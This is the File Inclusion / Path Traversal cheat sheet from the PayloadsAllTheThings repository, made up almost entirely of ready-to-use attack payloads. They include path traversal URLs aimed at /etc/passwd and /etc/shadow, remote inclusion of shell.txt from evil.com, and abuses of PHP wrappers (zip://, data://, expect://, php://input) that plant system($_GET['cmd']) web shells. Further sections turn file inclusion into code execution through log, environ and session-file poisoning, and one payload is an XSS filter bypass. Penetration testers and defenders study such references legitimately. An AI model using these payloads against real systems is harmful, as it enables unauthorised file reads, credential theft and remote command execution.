PayloadsAllTheThings/File Inclusion - Path Traversal/README.md

# Local/Remote File Inclusion
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

## Summary
* [Basic LFI](#basic-lfi)
* [Basic RFI](#basic-rfi)
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
  * [Wrapper php://filter]()
  * [Wrapper zip://]()
  * [Wrapper data://]()
  * [Wrapper expect://]()
  * [Wrapper input://]()
* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)


Interesting files to check out :
```
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
```
The following log files are controllable and can be included with an evil payload to achieve a command execution
```
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```


## Basic LFI
```
http://example.com/index.php?page=../../../etc/passwd
```

Null byte
```
http://example.com/index.php?page=../../../etc/passwd%00
```

Double encoding
```
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

Path truncation
```
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
```

Filter bypass tricks
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

## Basic RFI
```
http://example.com/index.php?page=http://evil.com/shell.txt
```

Null byte
```
http://example.com/index.php?page=http://evil.com/shell.txt%00
```

Double encoding
```
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

## LFI / RFI using wrappers

### Wrapper php://filter
The part "php://filter" is case insensitive
```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

can be chained with a compression wrapper for large files.
```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```


### Wrapper zip://
```python
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
rm payload.php   

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```


### Wrapper data://
```
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`


### Wrapper expect://
```
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
```

### Wrapper input://
Specify your payload in the POST parameters
```
http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>
```

## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD
with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```



## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : "<?php system($_GET['c']); ?>" ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

## LFI to RCE via phpinfo()
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)


## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```

## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to <?php system('cat /etc/passwd');?>
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```


## Thanks to
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Turning LFI to RFI ](https://l.avala.mp/?p=241)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)